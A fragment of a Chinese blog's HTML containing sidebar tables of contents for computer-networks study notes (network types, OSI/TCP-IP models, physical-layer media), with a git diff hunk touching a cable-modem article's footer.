href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C"><span class="toc-number">1.</span> <span class="toc-text">使用计算机网络</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%95%86%E4%B8%9A%E5%BA%94%E7%94%A8"><span class="toc-number">1.1.</span> <span class="toc-text">商业应用</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%B6%E5%BA%AD%E5%BA%94%E7%94%A8"><span class="toc-number">1.2.</span> <span class="toc-text">家庭应用</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A7%BB%E5%8A%A8%E7%94%A8%E6%88%B7"><span class="toc-number">1.3.</span> <span class="toc-text">移动用户</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A4%BE%E4%BC%9A%E9%97%AE%E9%A2%98"><span class="toc-number">1.4.</span> <span class="toc-text">社会问题</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E7%A1%AC%E4%BB%B6"><span class="toc-number">2.</span> <span class="toc-text">网络硬件</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%AA%E5%9F%9F%E7%BD%91%EF%BC%88PAN-Personal-Area-Network%EF%BC%89"><span class="toc-number">2.1.</span> <span class="toc-text">个域网（PAN, Personal Area Network）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B1%80%E5%9F%9F%E7%BD%91%EF%BC%88LAN-Local-Area-Network%EF%BC%89"><span class="toc-number">2.2.</span> <span class="toc-text">局域网（LAN, Local Area Network）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%89%A9%E5%B1%95%EF%BC%88expand%EF%BC%89%E5%92%8C%E5%88%92%E5%88%86%EF%BC%88divide%EF%BC%89%E5%B1%80%E5%9F%9F%E7%BD%91"><span class="toc-number">2.2.1.</span> <span class="toc-text">扩展（expand）和划分（divide）局域网</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BB%8F%E5%85%B8%E4%BB%A5%E5%A4%AA%E7%BD%91%EF%BC%88classic-Ethernet%EF%BC%89"><span class="toc-number">2.2.2.</span> <span class="toc-text">经典以太网（classic Ethernet）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B9%BF%E6%92%AD%E7%BD%91%E7%BB%9C%E7%9A%84%E4%BF%A1%E9%81%93%E5%88%86%E9%85%8D"><span class="toc-number">2.2.3.</span> <span class="toc-text">广播网络的信道分配</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9F%8E%E5%9F%9F%E7%BD%91%EF%BC%88MAN-Metropolitan-Area-Network%EF%BC%89"><span class="toc-number">2.3.</span> <span class="toc-text">城域网（MAN, Metropolitan Area Network）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B9%BF%E5%9F%9F%E7%BD%91%EF%BC%88WAN-Wide-Area-Network%EF%BC%89"><span class="toc-number">2.4.</span> <span class="toc-text">广域网（WAN, Wide Area Network）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%80%9A%E4%BF%A1%E5%AD%90%E7%BD%91"><span class="toc-number">2.4.1.</span> <span class="toc-text">通信子网</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B9%BF%E5%9F%9F%E7%BD%91%E5%92%8C%E5%B1%80%E5%9F%9F%E7%BD%91%E7%9A%84%E5%8C%BA%E5%88%AB"><span class="toc-number">2.4.2.</span> <span class="toc-text">广域网和局域网的区别</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%99%9A%E6%8B%9F%E4%B8%93%E7%94%A8%E7%BD%91%E7%BB%9C%EF%BC%88VPN-Virtual-Private-Network%EF%BC%89"><span class="toc-number">2.4.3.</span> <span class="toc-text">虚拟专用网络（VPN, Virtual Private Network）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#ISP-%E7%BD%91%E7%BB%9C%EF%BC%88ISP-network%EF%BC%89"><span class="toc-number">2.4.4.</span> <span class="toc-text">ISP 网络（ISP network）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BA%92%E8%81%94%E7%BD%91%E7%BB%9C%EF%BC%88Internetwork%EF%BC%89"><span class="toc-number">2.5.</span> <span class="toc-text">互联网络（Internetwork）</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E8%BD%AF%E4%BB%B6"><span class="toc-number">3.</span> <span class="toc-text">网络软件</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8D%8F%E8%AE%AE%E5%B1%82%E6%AC%A1%E7%BB%93%E6%9E%84"><span class="toc-number">3.1.</span> <span class="toc-text">协议层次结构</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B1%82%E6%AC%A1%E8%AE%BE%E8%AE%A1%E9%97%AE%E9%A2%98"><span class="toc-number">3.2.</span> <span class="toc-text">层次设计问题</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8F%AF%E9%9D%A0%E6%80%A7%EF%BC%88reliability%EF%BC%89"><span class="toc-number">3.2.1.</span> <span class="toc-text">可靠性（reliability）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E6%BC%94%E8%BF%9B%EF%BC%88network-revolution%EF%BC%89"><span class="toc-number">3.2.2.</span> <span class="toc-text">网络演进（network revolution）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B5%84%E6%BA%90%E5%88%86%E9%85%8D%EF%BC%88resource-allocation%EF%BC%89"><span class="toc-number">3.2.3.</span> <span class="toc-text">资源分配（resource allocation）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%A8%81%E8%83%81%EF%BC%88threats%EF%BC%89"><span class="toc-number">3.2.4.</span> <span class="toc-text">威胁（threats）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E4%B8%8E%E6%97%A0%E8%BF%9E%E6%8E%A5%E6%9C%8D%E5%8A%A1"><span class="toc-number">3.3.</span> <span class="toc-text">面向连接与无连接服务</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">3.3.1.</span> <span class="toc-text">面向连接的服务</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%A0%E8%BF%9E%E6%8E%A5%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">3.3.2.</span> <span class="toc-text">无连接的服务</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%A1%A5%E5%85%85"><span class="toc-number">3.3.3.</span> <span class="toc-text">补充</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E5%8E%9F%E8%AF%AD"><span class="toc-number">3.4.</span> <span class="toc-text">服务原语</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E4%B8%8E%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%85%B3%E7%B3%BB"><span class="toc-number">3.5.</span> <span class="toc-text">服务与协议的关系</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.</span> <span class="toc-text">参考模型</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#OSI-%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.1.</span> <span class="toc-text">OSI 参考模型</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%89%A9%E7%90%86%E5%B1%82%EF%BC%88physical-layer%EF%BC%89"><span class="toc-number">4.1.1.</span> <span class="toc-text">物理层（physical layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%EF%BC%88data-link-layer%EF%BC%89"><span class="toc-number">4.1.2.</span> <span class="toc-text">数据链路层（data link layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%B1%82%EF%BC%88network-layer%EF%BC%89"><span class="toc-number">4.1.3.</span> <span class="toc-text">网络层（network layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82%EF%BC%88transport-layer%EF%BC%89"><span class="toc-number">4.1.4.</span> <span class="toc-text">传输层（transport layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%9A%E8%AF%9D%E5%B1%82%EF%BC%88session-layer%EF%BC%89"><span class="toc-number">4.1.5.</span> <span class="toc-text">会话层（session layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%A1%A8%E7%A4%BA%E5%B1%82%EF%BC%88presentation-layer%EF%BC%89"><span class="toc-number">4.1.6.</span> <span class="toc-text">表示层（presentation layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BA%94%E7%94%A8%E5%B1%82%EF%BC%88application-layer%EF%BC%89"><span class="toc-number">4.1.7.</span> <span class="toc-text">应用层（application layer）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#TCP-IP-%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.2.</span> <span class="toc-text">TCP&#x2F;IP 参考模型</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%93%BE%E8%B7%AF%E5%B1%82%EF%BC%88link-layer%EF%BC%89"><span class="toc-number">4.2.1.</span> <span class="toc-text">链路层（link layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BA%92%E8%81%94%E7%BD%91%E5%B1%82%EF%BC%88internet-layer%EF%BC%89"><span class="toc-number">4.2.2.</span> <span class="toc-text">互联网层（internet layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82%EF%BC%88transport-layer%EF%BC%89-1"><span class="toc-number">4.2.3.</span> <span class="toc-text">传输层（transport layer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BA%94%E7%94%A8%E5%B1%82%EF%BC%88application-layer%EF%BC%89-1"><span class="toc-number">4.2.4.</span> <span class="toc-text">应用层（application layer）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B9%A6%E6%9C%AC%E4%BD%BF%E7%94%A8%E7%9A%84%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.3.</span> <span class="toc-text">书本使用的模型</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#OSI-%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B%E4%B8%8E-TCP-IP-%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B%E7%9A%84%E6%AF%94%E8%BE%83"><span class="toc-number">4.4.</span> <span class="toc-text">OSI 参考模型与 TCP&#x2F;IP 参考模型的比较</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#OSI-%E6%A8%A1%E5%9E%8B%E5%92%8C%E5%8D%8F%E8%AE%AE%E7%9A%84%E8%AF%84%E5%88%A4"><span class="toc-number">4.5.</span> <span class="toc-text">OSI 模型和协议的评判</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#TCP-IP-%E5%8F%82%E8%80%83%E6%A8%A1%E5%9E%8B%E7%9A%84%E8%AF%84%E5%88%A4"><span class="toc-number">4.6.</span> <span class="toc-text">TCP&#x2F;IP 参考模型的评判</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%AE%9E%E4%BE%8B"><span class="toc-number">5.</span> <span class="toc-text">网络实例</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9B%A0%E7%89%B9%E7%BD%91"><span class="toc-number">5.1.</span> <span class="toc-text">因特网</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#APPANET"><span class="toc-number">5.1.1.</span> <span class="toc-text">APPANET</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#NSFNET"><span class="toc-number">5.1.2.</span> <span class="toc-text">NSFNET</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Internet-%E4%BD%93%E7%B3%BB%E7%BB%93%E6%9E%84"><span class="toc-number">5.1.3.</span> <span class="toc-text">Internet 体系结构</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%AC%AC%E4%B8%89%E4%BB%A3%E7%A7%BB%E5%8A%A8%E7%94%B5%E8%AF%9D%E7%BD%91%E7%BB%9C%EF%BC%883G-Mobile-Phone-Networks%EF%BC%89"><span class="toc-number">5.2.</span> <span class="toc-text">第三代移动电话网络（3G Mobile Phone Networks）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%97%A0%E7%BA%BF%E5%B1%80%E5%9F%9F%E7%BD%91%EF%BC%9A802-11-WiFi"><span class="toc-number">5.3.</span> <span class="toc-text">无线局域网：802.11 WiFi</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#RFID-%E5%92%8C%E4%BC%A0%E6%84%9F%E5%99%A8%E7%BD%91%E7%BB%9C"><span class="toc-number">5.4.</span> <span class="toc-text">RFID 和传感器网络</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E6%A0%87%E5%87%86%E5%8C%96"><span class="toc-number">6.</span> <span class="toc-text">网络标准化</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%B5%E4%BF%A1%E9%A2%86%E5%9F%9F%E6%9C%89%E5%BD%B1%E5%93%8D%E5%8A%9B%E7%9A%84%E7%BB%84%E7%BB%87"><span class="toc-number">6.1.</span> <span class="toc-text">电信领域有影响力的组织</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9B%BD%E9%99%85%E6%A0%87%E5%87%86%E9%A2%86%E5%9F%9F%E6%9C%89%E5%BD%B1%E5%93%8D%E5%8A%9B%E7%9A%84%E7%BB%84%E7%BB%87"><span class="toc-number">6.2.</span> <span class="toc-text">国际标准领域有影响力的组织</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Internet-%E6%A0%87%E5%87%86%E9%A2%86%E5%9F%9F%E6%9C%89%E5%BD%B1%E5%93%8D%E5%8A%9B%E7%9A%84%E7%BB%84%E7%BB%87"><span class="toc-number">6.3.</span> <span class="toc-text">Internet 标准领域有影响力的组织</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%BA%A6%E9%87%8F%E5%8D%95%E4%BD%8D"><span class="toc-number">7.</span> <span class="toc-text">度量单位</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div 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diff --git a/2018/06/13/Notes/Computer Networks/The-Physical-Layer/index.html b/2018/06/13/Notes/Computer Networks/The-Physical-Layer/index.html
index 022f04cbd..5225805ca 100644
--- a/2018/06/13/Notes/Computer Networks/The-Physical-Layer/index.html	
+++ b/2018/06/13/Notes/Computer Networks/The-Physical-Layer/index.html	
@@ -878,7 +878,7 @@ <h2 id="线缆调制解调器（cable-modem）"><a href="#线缆调制解调器
 <li>下行流信道无竞争：使用 QAM-64 的 27 Mbps 和 184 字节的有效载荷</li>
 <li>下上流信道有竞争：使用 QPSK 的 9 Mbps 和 8 字节的迷你槽</li>
 </ul>
-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/13/Notes/Computer%20Networks/The-Physical-Layer/">https://jckling.github.io/2018/06/13/Notes/Computer Networks/The-Physical-Layer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's 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class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%80%9A%E4%BF%A1%E7%9A%84%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%80"><span class="toc-number">1.</span> <span class="toc-text">数据通信的理论基础</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%82%85%E9%87%8C%E5%8F%B6%E5%88%86%E6%9E%90%EF%BC%88Fourier-Analysis%EF%BC%89"><span class="toc-number">1.1.</span> <span class="toc-text">傅里叶分析（Fourier Analysis）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B0%90%E6%B3%A2%EF%BC%88Harmonics%EF%BC%89"><span class="toc-number">1.1.1.</span> <span class="toc-text">谐波（Harmonics）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%82%85%E9%87%8C%E5%8F%B6%E5%85%AC%E5%BC%8F%EF%BC%88Fourier-Equation%EF%BC%89"><span class="toc-number">1.1.2.</span> <span class="toc-text">傅里叶公式（Fourier Equation）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%E6%9C%89%E9%99%90%E7%9A%84%E4%BF%A1%E5%8F%B7"><span class="toc-number">1.2.</span> <span class="toc-text">带宽有限的信号</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%9D%87%E6%96%B9%E6%A0%B9%EF%BC%88root-mean-square%EF%BC%89"><span class="toc-number">1.2.1.</span> <span class="toc-text">均方根（root-mean-square）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%EF%BC%88bandwidth%EF%BC%89"><span class="toc-number">1.2.2.</span> <span class="toc-text">带宽（bandwidth）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%E5%B1%9E%E6%80%A7%EF%BC%88property%EF%BC%89"><span class="toc-number">1.2.3.</span> <span class="toc-text">带宽属性（property）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AF%AD%E9%9F%B3%E7%BA%A7%E7%BA%BF%E8%B7%AF%EF%BC%88voice-grade-line%EF%BC%89"><span class="toc-number">1.2.4.</span> <span class="toc-text">语音级线路（voice-grade line）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E5%AE%BD%E7%9A%84%E4%B8%8D%E5%90%8C%E7%9C%8B%E6%B3%95"><span class="toc-number">1.2.5.</span> <span class="toc-text">带宽的不同看法</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BF%A1%E9%81%93%E7%9A%84%E6%9C%80%E5%A4%A7%E6%95%B0%E6%8D%AE%E9%80%9F%E7%8E%87"><span class="toc-number">1.3.</span> <span class="toc-text">信道的最大数据速率</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%97%A0%E5%99%AA%E5%A3%B0%E4%BF%A1%E9%81%93%EF%BC%88noiseless-channel%EF%BC%89"><span class="toc-number">1.3.1.</span> <span class="toc-text">无噪声信道（noiseless channel）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%89%E5%99%AA%E5%A3%B0%E4%BF%A1%E9%81%93%EF%BC%88noisy-channel%EF%BC%89"><span class="toc-number">1.3.2.</span> <span class="toc-text">有噪声信道（noisy channel）</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%BC%95%E5%AF%BC%E6%80%A7%E4%BC%A0%E8%BE%93%E4%BB%8B%E8%B4%A8"><span class="toc-number">2.</span> <span class="toc-text">引导性传输介质</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A3%81%E4%BB%8B%E8%B4%A8%EF%BC%88magnetic-media%EF%BC%89"><span class="toc-number">2.1.</span> <span class="toc-text">磁介质（magnetic media）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8F%8C%E7%BB%9E%E7%BA%BF%EF%BC%88twisted-pairs%EF%BC%89"><span class="toc-number">2.2.</span> <span class="toc-text">双绞线（twisted pairs）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#5-%E7%B1%BB%E7%BA%BF%EF%BC%88Category-5%EF%BC%89%E6%88%96%E2%80%9C%E7%8C%AB-5%EF%BC%88Cat-5%EF%BC%89%E2%80%9D"><span class="toc-number">2.2.1.</span> <span class="toc-text">5 类线（Category 5）或“猫 5（Cat 5）”</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%93%BE%E8%B7%AF%E4%B8%8A%E7%9A%84%E4%BC%A0%E8%BE%93%E6%96%B9%E5%90%91"><span class="toc-number">2.2.2.</span> <span class="toc-text">链路上的传输方向</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#UTP-%E4%B8%8E-STP"><span class="toc-number">2.2.3.</span> <span class="toc-text">UTP 与 STP</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%90%8C%E8%BD%B4%E7%94%B5%E7%BC%86%EF%BC%88coaxial-cable%EF%BC%89"><span class="toc-number">2.3.</span> <span class="toc-text">同轴电缆（coaxial cable）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%B5%E5%8A%9B%E7%BA%BF%EF%BC%88power-lines%EF%BC%89"><span class="toc-number">2.4.</span> <span class="toc-text">电力线（power lines）</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%85%89%E7%BA%A4%EF%BC%88fiber-optics%EF%BC%89"><span class="toc-number">2.5.</span> <span class="toc-text">光纤（fiber optics）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%A1%E7%AE%97%E5%92%8C%E9%80%9A%E4%BF%A1%E7%9A%84%E6%AF%94%E8%B5%9B"><span class="toc-number">2.5.1.</span> <span class="toc-text">计算和通信的比赛</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BA%A4"><span class="toc-number">2.5.2.</span> <span class="toc-text">光纤</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E6%8A%98%E5%B0%84%E4%B8%8E%E5%8F%8D%E5%B0%84"><span class="toc-number">2.5.2.1.</span> <span class="toc-text">折射与反射</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E5%85%89%E7%BA%A4%E4%BC%A0%E8%BE%93%E5%85%89"><span class="toc-number">2.5.2.2.</span> <span class="toc-text">光纤传输光</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E8%89%B2%E6%95%A3%E4%BC%A0%E6%92%AD%EF%BC%88chromatic-dispersion%EF%BC%89"><span class="toc-number">2.5.2.3.</span> <span class="toc-text">色散传播（chromatic dispersion）</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BC%86"><span class="toc-number">2.5.3.</span> <span class="toc-text">光缆</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BA%A4%E7%9A%84%E8%BF%9E%E6%8E%A5%E6%96%B9%E5%BC%8F"><span class="toc-number">2.5.4.</span> <span class="toc-text">光纤的连接方式</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E6%BA%90"><span class="toc-number">2.5.5.</span> <span class="toc-text">光源</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BA%A4%E6%8E%A5%E6%94%B6%E7%AB%AF"><span class="toc-number">2.5.6.</span> <span class="toc-text">光纤接收端</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%85%89%E7%BA%BF%E4%B8%8E%E9%93%9C%E7%BA%BF%E7%9A%84%E6%AF%94%E8%BE%83"><span class="toc-number">2.5.7.</span> <span class="toc-text">光线与铜线的比较</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%97%A0%E7%BA%BF%E4%BC%A0%E8%BE%93"><span class="toc-number">3.</span> <span class="toc-text">无线传输*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%94%B5%E7%A3%81%E9%A2%91%E8%B0%B1%EF%BC%88Electromagnetic-Spectrum%EF%BC%89"><span class="toc-number">3.1.</span> <span class="toc-text">电磁频谱（Electromagnetic Spectrum）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%BF%E7%94%A8%E8%BE%83%E5%AE%BD%E7%9A%84%E9%A2%91%E6%AE%B5"><span class="toc-number">3.1.1.</span> <span class="toc-text">使用较宽的频段</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%97%A0%E7%BA%BF%E7%94%B5%E4%BC%A0%E8%BE%93"><span class="toc-number">3.2.</span> <span class="toc-text">无线电传输</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%BE%AE%E6%B3%A2%E4%BC%A0%E8%BE%93"><span class="toc-number">3.3.</span> <span class="toc-text">微波传输</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%89%B9%E7%82%B9"><span class="toc-number">3.3.1.</span> <span class="toc-text">特点</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%94%B5%E7%A3%81%E9%A2%91%E8%B0%B1%E6%94%BF%E7%AD%96"><span class="toc-number">3.3.2.</span> <span class="toc-text">电磁频谱政策</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%BA%A2%E5%A4%96%E4%BC%A0%E8%BE%93"><span class="toc-number">3.4.</span> <span class="toc-text">红外传输</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%85%89%E9%80%9A%E4%BF%A1"><span class="toc-number">3.5.</span> <span class="toc-text">光通信</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E9%80%9A%E4%BF%A1%E5%8D%AB%E6%98%9F"><span class="toc-number">4.</span> <span class="toc-text">通信卫星*</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%9C%B0%E7%90%83%E5%90%8C%E6%AD%A5%E5%8D%AB%E6%98%9F"><span class="toc-number">4.1.</span> <span class="toc-text">地球同步卫星</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%AD%E5%9C%B0%E7%90%83%E8%BD%A8%E9%81%93%E5%8D%AB%E6%98%9F"><span class="toc-number">4.2.</span> <span class="toc-text">中地球轨道卫星</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BD%8E%E5%9C%B0%E7%90%83%E8%BD%A8%E9%81%93%E5%8D%AB%E6%98%9F"><span class="toc-number">4.3.</span> <span class="toc-text">低地球轨道卫星</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%AD%E7%BB%A7"><span class="toc-number">4.3.1.</span> <span class="toc-text">中继</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%8D%AB%E6%98%9F%E4%B8%8E%E5%85%89%E7%BA%A4"><span class="toc-number">4.4.</span> <span class="toc-text">卫星与光纤</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E6%95%B0%E5%AD%97%E8%B0%83%E5%88%B6-%E4%B8%8E%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8"><span class="toc-number">5.</span> <span class="toc-text">数字调制*与多路复用</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" 